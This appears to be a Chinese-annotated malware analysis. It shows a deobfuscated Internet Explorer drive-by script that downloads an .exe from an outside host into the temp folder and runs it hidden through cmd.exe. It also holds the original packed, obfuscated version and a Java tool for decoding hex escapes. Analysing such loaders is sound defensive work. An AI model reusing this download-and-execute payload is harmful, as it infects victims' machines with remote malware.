function gn(UYFbowrD1) {
var BkGFsF2 = window["Math"]["random"]()*UYFbowrD1;
return'~tmp' + '.tmp'
}
try {
var dl = "http://0001.0168168.cn/0.exe";
var df = window["document"]["createElement"]("object");
df["setAttribute"]("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var x = df["CreateObject"]("Microsoft.X" + "M" + "L" + "H" + "T" + "T" + "P", "");
var PKgzFJuw3 = df["CreateObject"]("Adodb.Stream", "");
PKgzFJuw3["type"] = 1;
x["open"]("GET", dl, 0);
x["send"]();
var fname1 = gn(10000);
var rQcRPay4 = df["CreateObject"]("Scripting.FileSystemObject", "");
var tmp = rQcRPay4["GetSpecialFolder"](0);
fname1 = rQcRPay4["BuildPath"](tmp, fname1);
PKgzFJuw3["Open"]();
PKgzFJuw3["Write"](x["responseBody"]);
PKgzFJuw3["SaveToFile"](fname1, 2);
PKgzFJuw3["Close"]();
var tGratf5 = df["CreateObject"]("Shell.Application", "");
var exp1 = rQcRPay4["BuildPath"](tmp + '\\system32', 'cmd.exe');
tGratf5["ShellExecute"](exp1, ' /c ' + fname1, "", "open", 0)
} catch(i) {
i = 1
}
最开始的解密程序
document.write(
function decode(p, a, c, k, e, d) {
e = function(c) {
return(c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if (!''.replace(/^/, String)) {
while (c--)d[e(c)] = k[c] || e(c);
k = [function(e) {
return d[e]
}];
e = function() {
return'\\w+'
};
c = 1;
}
;
while (c--)if (k[c])p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p;
}('Y Q(U){l Z=W["\\M\\9\\4\\s"]["\\a\\9\\e\\c\\7\\h"]()*U;12\'\\11\\4\\h\\d\'+\'\\f\\4\\h\\d\'}10{P=\'\\s\\4\\4\\d\\V\\C\\C\\g\\g\\g\\t\\f\\g\\t\\n\\N\\t\\n\\N\\f\\5\\e\\C\\g\\f\\3\\I\\3\';l r=W["\\c\\7\\5\\w\\h\\3\\e\\4"]["\\5\\a\\3\\9\\4\\3\\z\\6\\3\\h\\3\\e\\4"]("\\7\\j\\q\\3\\5\\4");r["\\b\\3\\4\\v\\4\\4\\a\\8\\j\\w\\4\\3"]("\\5\\6\\9\\b\\b\\8\\c","\\5\\6\\b\\8\\c\\V\\G\\O\\L\\n\\k\\H\\H\\n\\y\\n\\H\\v\\B\\y\\t\\t\\O\\g\\y\\L\\N\\B\\v\\y\\g\\g\\k\\g\\13\\A\\k\\X\\L\\z\\B\\n");l x=r["\\k\\a\\3\\9\\4\\3\\p\\j\\q\\3\\5\\4"]("\\M\\8\\5\\a\\7\\b\\7\\19\\4\\f\\1a"+"\\M"+"\\1c"+"\\1b"+"\\E"+"\\E"+"\\J","");l o=r["\\k\\a\\3\\9\\4\\3\\p\\j\\q\\3\\5\\4"]("\\v\\c\\7\\c\\j\\f\\m\\4\\a\\3\\9\\h","");o["\\4\\D\\d\\3"]=1;x["\\7\\d\\3\\e"]("\\R\\z\\E",P,0);x["\\b\\3\\e\\c"]();u=Q(18);l F=r["\\k\\a\\3\\9\\4\\3\\p\\j\\q\\3\\5\\4"]("\\m\\5\\a\\8\\d\\4\\8\\e\\15\\f\\A\\8\\6\\3\\m\\D\\b\\4\\3\\h\\p\\j\\q\\3\\5\\4","");l K=F["\\R\\3\\4\\m\\d\\3\\5\\8\\9\\6\\A\\7\\6\\c\\3\\a"](0);u=F["\\G\\w\\8\\6\\c\\J\\9\\4\\s"](K,u);o["\\p\\d\\3\\e"]();o["\\14\\a\\8\\4\\3"](x["\\a\\3\\b\\d\\7\\e\\b\\3\\G\\7\\c\\D"]);o["\\m\\9\\17\\3\\E\\7\\A\\8\\6\\3"](u,2);o["\\k\\6\\7\\b\\3"]();l S=r["\\k\\a\\3\\9\\4\\3\\p\\j\\q\\3\\5\\4"]("\\m\\s\\3\\6\\6\\f\\v\\d\\d\\6\\8\\5\\9\\4\\8\\7\\e","");T=F["\\G\\w\\8\\6\\c\\J\\9\\4\\s"](K+\'\\\\\\b\\D\\b\\4\\3\\h\\B\\X\',\'\\5\\h\\c\\f\\3\\I\\3\');S["\\m\\s\\3\\6\\6\\z\\I\\3\\5\\w\\4\\3"](T,\' \\C\\5 \'+u,"","\\7\\d\\3\\e",0)}16(i){i=1}', 62, 75, '|||x65|x74|x63|x6c|x6f|x69|x61|x72|x73|x64|x70|x6e|x2e|x30|x6d||x62|x43|var|x53|x36|PKgzFJuw3|x4f|x6a|df|x68|x31|fname1|x41|x75||x2d|x45|x46|x33|x2f|x79|x54|rQcRPay4|x42|x35|x78|x50|tmp|x39|x4d|x38|x44|dl|gn|x47|tGratf5|exp1|UYFbowrD1|x3a|window|x32|function|BkGFsF2|try|x7e|return|x34|x57|x67|catch|x76|10000|x66|x58|x48|x4c'.split('|'), 0, {})
);
使用 document.write()执行显示
第二部分的java解码程序 消除所有字符串的 16进制形式
import java.io.*;
public class re{
public static void main(String... args)throws IOException{
FileReader fr = new FileReader(args[0]);
BufferedReader br = new BufferedReader(fr);
FileWriter fw = new FileWriter(args[1]);
PrintWriter pw = new PrintWriter(fw);
String data = "";
int index = 0;
while((data = br.readLine())!=null){
do{
index = data.indexOf("\\x");
if(index == -1)
break;
char[] chs = new char[3];
chs[0] = data.charAt(index+2);
chs[1] = data.charAt(index+3);
if(!Character.isDigit(chs[1]) && !Character.isLetter(chs[1]))
chs[1] = '\0';
String s1 = new String(chs).trim();
int ic = Integer.parseInt(s1, 16);
char ch = (char)ic;
data = data.replace("\\x"+s1,ch+"");
}while(index != -1);
pw.println(data);
}